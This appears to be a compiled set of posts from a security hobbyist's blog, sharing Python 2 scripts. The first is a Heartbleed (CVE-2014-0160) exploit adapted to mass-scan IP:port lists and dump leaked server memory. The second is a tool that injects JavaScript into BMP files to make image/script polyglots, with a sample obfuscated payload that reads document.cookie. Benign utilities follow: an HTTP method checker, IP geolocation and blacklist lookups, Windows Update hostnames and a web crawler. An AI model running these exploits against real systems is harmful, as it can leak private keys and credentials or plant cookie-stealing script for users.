A OpenSSL HeartBleed vulnerability Python

As you know, At 8/Apr/2014, Called OpenSSL heartbleed ZeroDay bug is security vulnerability.
A hacker could gain Server's memory chuck using this vulnerability

Affected SSL version:

OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable

OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable

I need check servers, so I modified the exploit to check lots servers.

 #!/usr/bin/python  
    
 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)  
 # The author disclaims copyright to this source code.  
    
 import sys  
 import struct  
 import socket  
 import time  
 import select  
 import re  
 from optparse import OptionParser  
   
 '''   
 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')  
 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')  
 '''  
   
 def ip_n_port(i):  
   data = str(i).replace("\n","")  
   data = str(i).replace(" ","")  
   data = data.split(":")  
   ip = data[0]  
   port = data[1]  
   return ip, port  
   
 def h2bin(x):  
   return x.replace(' ', '').replace('\n', '').decode('hex')  
    
 hello = h2bin('''  
 16 03 02 00 dc 01 00 00 d8 03 02 53  
 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf  
 bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00  
 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88  
 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c  
 c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09  
 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44  
 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c  
 c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11  
 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04  
 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19  
 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08  
 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13  
 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00  
 00 0f 00 01 01                   
 ''')  
    
 hb = h2bin('''   
 18 03 02 00 03  
 01 40 00  
 ''')  
    
 def hexdump(s):  
   for b in xrange(0, len(s), 16):  
     lin = [c for c in s[b : b + 16]]  
     hxdat = ' '.join('%02X' % ord(c) for c in lin)  
     pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)  
     print ' %04x: %-48s %s' % (b, hxdat, pdat)  
   print  
    
 def recvall(s, length, timeout=5):  
   endtime = time.time() + timeout  
   rdata = ''  
   remain = length  
   while remain > 0:  
     rtime = endtime - time.time()   
     if rtime < 0:  
       return None  
     r, w, e = select.select([s], [], [], 5)  
     if s in r:  
       data = s.recv(remain)  
       # EOF?  
       if not data:  
         return None  
       rdata += data  
       remain -= len(data)  
   return rdata  
        
    
 def recvmsg(s):  
   hdr = recvall(s, 5)  
   if hdr is None:  
     print 'Unexpected EOF receiving record header - server closed connection'  
     return None, None, None  
   typ, ver, ln = struct.unpack('>BHH', hdr)  
   pay = recvall(s, ln, 10)  
   if pay is None:  
     print 'Unexpected EOF receiving record payload - server closed connection'  
     return None, None, None  
   print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))  
   return typ, ver, pay  
    
 def hit_hb(s, ip, port):  
   s.send(hb)  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ is None:  
       print 'No heartbeat response received, server likely not vulnerable'  
       return False  
    
     if typ == 24:  
       print 'Received heartbeat response:'  
       hexdump(pay)  
       if len(pay) > 3:  
         print 'ip: %s, port: %s' % (ip, port)  
         fp = open('result.txt', 'a')  
         fp.write('%s:%s' % (ip, port))  
         fp.close()  
         print 'WARNING: server returned more data than it should - server is vulnerable!'  
       else:  
         print 'Server processed malformed heartbeat, but did not return any extra data.'  
       return True  
    
     if typ == 21:  
       print 'Received alert:'  
       hexdump(pay)  
       print 'Server returned error, likely not vulnerable'  
       return False  
    
 def main(ip, port):  
   '''  
   opts, args = options.parse_args()  
   if len(args) < 1:  
     options.print_help()  
     return  
   '''  
   print ip, port  
     
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   print 'Connecting...'  
   sys.stdout.flush()  
   s.connect((ip, int(port)))  
   print 'Sending Client Hello...'  
   sys.stdout.flush()  
   s.send(hello)  
   print 'Waiting for Server Hello...'  
   sys.stdout.flush()  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ == None:  
       print 'Server closed connection without sending Server Hello.'  
       return  
     # Look for server hello done message.  
     if typ == 22 and ord(pay[0]) == 0x0E:  
       break  
   print 'Sending heartbeat request...'  
   sys.stdout.flush()  
   s.send(hb)  
   hit_hb(s, ip, port)  
     
     
 if __name__ == '__main__':  
   f = open("lists.txt", "r")  
   for i in f:  
     ip, port = ip_n_port(i)  
     try:  
       main(ip, port)  
     except:  
       print ('no connection')  
   f.close()  
   

The file(lists.txt) is loading IPs should be "ip:port".
e. g,
1111:443
2222:8443

Reference:
http://www.exploit-db.com/exploits/32745/
http://heartbleed.com/

Thanks.

BMP INJECTION Python.

It helps to inject source to BMP.
If you need to test uploading BMP with javascript, you could use bmpinjection.py.

 #!/usr/bin/env python2  
 #============================================================================================================#  
 #======= Simply injects a JavaScript Payload into a BMP. ====================================================#  
 #======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#  
 #======= Author: marcoramilli.blogspot.com ==================================================================#  
 #======= Version: PoC (don't even think to use it in development env.) ======================================#  
 #======= Disclaimer: ========================================================================================#  
 #THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR  
 #IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED  
 #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE  
 #DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,  
 #INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES  
 #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR  
                                 #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)  
                                 #HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,  
 #STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING  
 #IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
 #POSSIBILITY OF SUCH DAMAGE.  
 #===========================================================================================================#  
 import argparse  
 import os  
   
 #---------------------------------------------------------  
 def _hexify(num):  
     """  
     Converts and formats to hexadecimal  
     """  
     num = "%x" % num  
     if len(num) % 2:  
         num = '0'+num  
     return num.decode('hex')  
   
 #---------------------------------------------------------  
 #Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]  
 #;alert(_0xe428[0]);"  
 def _generate_and_write_to_file(payload, fname):  
     """  
     Generates a fake but valid BMP within scriting  
     """  
     f = open(fname, "wb")  
     header = (b'\x42\x4D' #Signature BM  
          b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header  
          b'\x00\x00\x00\x00' #Reserved  
          b'\x00\x00\x00\x00' #bitmap data offset  
          b''+ _hexify( len(payload) ) + #bitmap header size  
          b'\x00\x00\x00\x14' #width 20pixel .. it's up to you  
          b'\x00\x00\x00\x14' #height 20pixel .. it's up to you  
          b'\x00\x00' #nb_plan  
          b'\x00\x00' #nb per pixel  
          b'\x00\x10\x00\x00' #compression type  
          b'\x00\x00\x00\x00' #image size .. its ignored  
          b'\x00\x00\x00\x01' #Horizontal resolution  
          b'\x00\x00\x00\x01' #Vertial resolution  
          b'\x00\x00\x00\x00' #number of colors  
          b'\x00\x00\x00\x00' #number important colors  
          b'\x00\x00\x00\x80' #palet colors to be complient  
          b'\x00\x80\xff\x80' #palet colors to be complient  
          b'\x80\x00\xff\x2A' #palet colors to be complient  
          b'\x2F\x3D\x31\x3B' #*/=1;  
          )  
     # I made this explicit, step by step .  
     f.write(header)  
     f.write(payload)  
     f.close()  
     return True  
   
 #---------------------------------------------------------  
 def _generate_launching_page(f):  
     """  
     Creates the HTML launching page  
     """  
   
     htmlpage ="""<html>  
 <head><title>Opening an image</title> </head>  
 <body>  
 <img src=\"""" + f + """\"\>  
 <script src= \"""" + f + """\"> </script>  
 </body>  
 </html>  
 """  
     html = open("run.html", "wb")  
     html.write(htmlpage);  
     html.close()  
     return True  
   
 #---------------------------------------------------------  
 def _inject_into_file(payload, fname):  
     """  
     Injects the payload into existing BMP  
     NOTE: if the BMP contains \xFF\x2A might caouse issues  
     """  
     # I know, I can do it all in memory and much more fast.  
     # I wont do it here.  
     f = open(fname, "r+b")  
     b = f.read()  
     b.replace(b'\x2A\x2F',b'\x00\x00')  
     f.close()  
   
     f = open(fname, "w+b")  
     f.write(b)  
     f.seek(2,0)  
     f.write(b'\x2F\x2A')  
     f.close()  
   
     f = open(fname, "a+b")  
     f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')  
     f.write(payload)  
     f.close()  
     return True  
   
   
 #---------------------------------------------------------  
 if __name__ == "__main__":  
     parser = argparse.ArgumentParser()  
     parser.add_argument("filename",help="the bmp file name to be generated/or infected")  
     parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")  
     parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")  
     args = parser.parse_args()  
     print("""  
 |======================================================================================================|  
 | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.     |  
 | It is the end user's responsibility to obey all applicable local, state and federal laws.      |  
 | Authors assume no liability and are not responsible for any misuse or damage caused by this program |  
 |======================================================================================================|  
 """)  
     if args.inject_to_existing_bmp:  
          _inject_into_file(args.js_payload, args.filename)  
     else:  
         _generate_and_write_to_file(args.js_payload, args.filename)  
       
     _generate_launching_page(args.filename)  
     print "[+] Finished!"  
   

 c:\Python27\python.exe bmpinject.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function Msgbox(_0xccb4x3){alert(eval(_0xccb4x3));};Msgbox(_0x9c4c);"  

Web METHOD CHECK

Sometimes, I need to check many URLs' methods such as "TRACE", "DELETE", "PUT", "COPY".

So, I just make simple python code. :)

Readme:
url.txt : you should have url lists in same directory.

 import socket, sys, re  
 import string  
   
 def main():  
   # Fillter SSL PORT  
   ssl_port = 443  
     
   # Common Port Mode  
   port = ["80"]  
   
   # INTERNAL URL  
   urldata = open("url.txt", "r")    
   
   count = 0  
   
   for i in urldata:  
     count += 1  
     i = i.strip('\n')  
     for j in port:  
       isheader(i, int(j), count, ssl_port)  
   
   urldata.close()  
   print("\r\nFINISH. Thank you")  
     
   
 def savingR(port, num, url, msg):  
   fp_r = open("result_"+str(port)+".txt","a")  
   fp_r.write("["+str(num)+"]"+url+":"+str(port)+"-"+msg+"\r\n")  
   fp_r.flush()  
   fp_r.close()  
   
 def Msgprint(url, port, msg):  
   print("%s(%d): Done [%s]" %(url, port, msg))  
   
 def isheader(url, port, num, ssl_port):  
   
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   s.settimeout(10)  
   try:  
     if (ssl_port == port):  
       try:  
         s.connect((url, port))  
       except socket.error:  
         msg = "Closed port(ssl)"  
         Msgprint(url, port, msg)  
         s.close()  
         return 0  
         
       s_ssl = socket.ssl(s)  
   
       s_ssl.write('OPTIONS / HTTP/1.0\r\n\r\n')  
       buf = s_ssl.read()  
       s.close()  
   
     else:  
       try:  
         s.connect((url, port))  
       except socket.error:  
         msg = "Closed port"  
         Msgprint(url, port, msg)  
         s.close()  
         return 0  
         
       s.send("OPTIONS / HTTP/1.0\r\n\r\n".encode('utf-8'))  
   
       buf = (s.recv(1024)).decode('utf-8')  
       s.close()  
       
     if not buf:  
       msg = "Not Return from this server"  
       Msgprint(url, port, msg)  
       return 0  
   
     msg = ''.join(re.findall('Allow:.*', buf))  
   
     if (msg == ""):  
       msg = "Nothing"  
         
     if(''.join(re.findall('PUT', msg))) or (''.join(re.findall('COPY', msg))) or (''.join(re.findall('DELETE', msg)) or (''.join(re.findall('TRACE', msg)))):  
       # To save results  
       num = num+1  
       savingR(port, num, url, msg)  
       msg += "] [*FOUND"  
         
     Msgprint(url, port, msg)  
   
   except:  
     msg = "Timeout"  
     Msgprint(url, port, msg)  
     s.close()  
     return 0  
 main()  
   

IP location information

I made to have IP location information from IPs.

 import urllib  
   
 def iplocation(*data):  
   response = urllib.urlopen('http://api.hostip.info/get_html.php?ip='+ data[0]+'&position=true').read()  
   return response  
   
 iplists = open('iplists.txt','r')  
 save = open('result.csv', 'w')  
 for ip in iplists:  
   ip = str(ip).replace("\n","")  
   print " "*8 + "[-] " + ip  
   response = iplocation(ip)  
   response = response.split("\n")  
   county = response[0].split(":")  
   result = county[1].strip()  
   save.write(ip + ",\"" + result + "\"\n")  
   if result:  
     print " "*12 + result  
 iplists.close()  
 save.close()  
   

Put IPs into iplists.txt, then it makes result.csv.

DNS BLACK LIST Information

I need to analysis some IPs, so I need to check DNS BLACK LISTS.

I made simple checking DNS black Lists using python.

 import os  
 import re  
 import socket  
 import sys  
 import requests  
 from BeautifulSoup import BeautifulSoup  
 USER_AGENT = "Mozilla/5.0 (Windows NT 5.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1"  
 PRAGMA = "no-cache"  
 ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"  
 def blacklist(dat):  
   ip = dat  
   type =None  
   status = ""  
   #path = "/query/bl?ip="  
   #path +=ip  
   host = "http://www.spamhaus.org/query/bl?ip="+ip  
   USER_AGENT = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36"  
   PRAGMA = "no-cache"  
   ACCEPT = "application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*"  
   results = requests.get(host,  
               params = {"ip": ip},  
               headers = {"Host": "www.spamhaus.org",  
                    "User-Agent": USER_AGENT,  
                    "Accept": ACCEPT,  
                    "Accept-Encoding": "gzip, deflate",  
                    "Accept-Language": "ko-KR",  
                    "Connection": "keep-alive"  
                    }  
               )  
   try:   
     html = results.text  
   except UnicodeDecodeError:  
     html = u' '.join(results.text).encode('utf-8').strip()  
   soup = BeautifulSoup(html)  
   tag = soup.findAll('b')  
   for item in tag:  
     if "is listed in the" in item.text:  
       #print item.text  
       status = "Block"  
       return status  
     else :  
       status = "Allow"  
   return status  
 iplists = open('iplists.txt','r')  
 save = open('result.csv', 'w')  
 for ip in iplists:  
   ip = str(ip).replace("\n","")  
   print " "*8 + "[-] " + ip  
   try:   
     result = blacklist(ip)  
   except UnicodeDecodeError:  
     result = u' '.join(blacklist(ip)).encode('utf-8').strip()  
   save.write(ip + ",\"" + result + "\"\n")  
   if result:  
     print " "*12 + result  
 iplists.close()  
 save.close()  

Input IPs to iplists.txt, then it makes result.csv.

How to have window update IP ranges.

I have considering a problem how to get window update IP ranges.

I could find window update URLs. However, our firewall could not using URL information.

It could use only IP that makes the problem.

Just I share window update URL.

 www.update.microsoft.com  
 update.microsoft.com  
 v5.windowsupdate.microsoft.com  
 download.windowsupdate.com  
 c.microsoft.com  
 windowsupdate.microsoft.com  
 v4.windowsupdate.microsoft.com  
 windowsupdate.com  
 ntservicepack.microsoft.com  
 wustat.windows.com  
 au.download.windowsupdate.com  
 updates.installshield.com  
 microsoft.com  
 urs.microsoft.com  
 go.microsoft.com  
 start.microsoft.com  
 crl.microsoft.com  
 catalog.update.microsoft.com  
 validation.sls.microsoft.com  
 na.activation.sls.microsoft.com  
 activation.sls.microsoft.com  
 sls.microsoft.com.nsatc.net  
 validation.sls.microsoft.com.nsatc.net  
 activation.sls.microsoft.com.nsatc.net  
 emea.activation.sls.microsoft.com  
 mpa.one.microsoft.com  
 download.microsoft.com  

The Window update IPs are flexibled...

Python Web Crawer Code - testing

It's Just a sample.

You can make more great code.

#Python code.

 #page spider  
 import sys, urlparse, urllib  
 from bs4 import BeautifulSoup  
 from datetime import datetime  
   
   
 url = "http://hacktizen.blogspot.com/"  
 hostname = urlparse.urlparse(url).hostname.split(".")  
 hostname = ".".join(len(hostname[-2]) < 4 and hostname[-3:] or hostname[-2:])  
   
   
 urls = [url] # Stack of urls to csrape  
 visited = [url] #historic record of urls  
 imgs = []  
 forms = []  
   
 print "Search"  
   
 tstart = datetime.now()  
 while len(urls) > 0:  
   try:  
     htmltext = urllib.urlopen(urls[0]).read()  
   except:  
     print "\r\nexcept:"+urls[0]  
   soup = BeautifulSoup(htmltext)  
   
   urls.pop(0)  
   sys.stdout.write('.')  
     
   for tag in soup.findAll('a', href=True):  
     tag['href'] = urlparse.urljoin(url,tag['href'])  
     if hostname in tag['href'] and tag['href'] not in visited:  
       urls.append(tag['href'])  
       visited.append(tag['href'])  
     
   for tag in soup.findAll('img', src=True):  
     tag['img'] = urlparse.urljoin(url,tag['src'])  
     if hostname in tag['img']:  
       imgs.append(tag['img'])  
       imgs = list(set(imgs))  
   
   for tag in soup.findAll('form', action=True):  
     tag['form'] = urlparse.urljoin(url,tag['action'])  
     if hostname in tag['form']:  
       forms.append(tag['form'])  
       forms = list(set(forms))  
   
   
 tend = datetime.now()  
 tperiod = tend - tstart  
 print("\r\n[URL]")  
 for links in visited:  
   print links  
 print("\r\n[IMGS]")  
 for links in imgs:  
   print links  
 print("\r\n[Forms]")  
 for links in forms:  
   print links  
 print("\r\nTime - "+str(tperiod))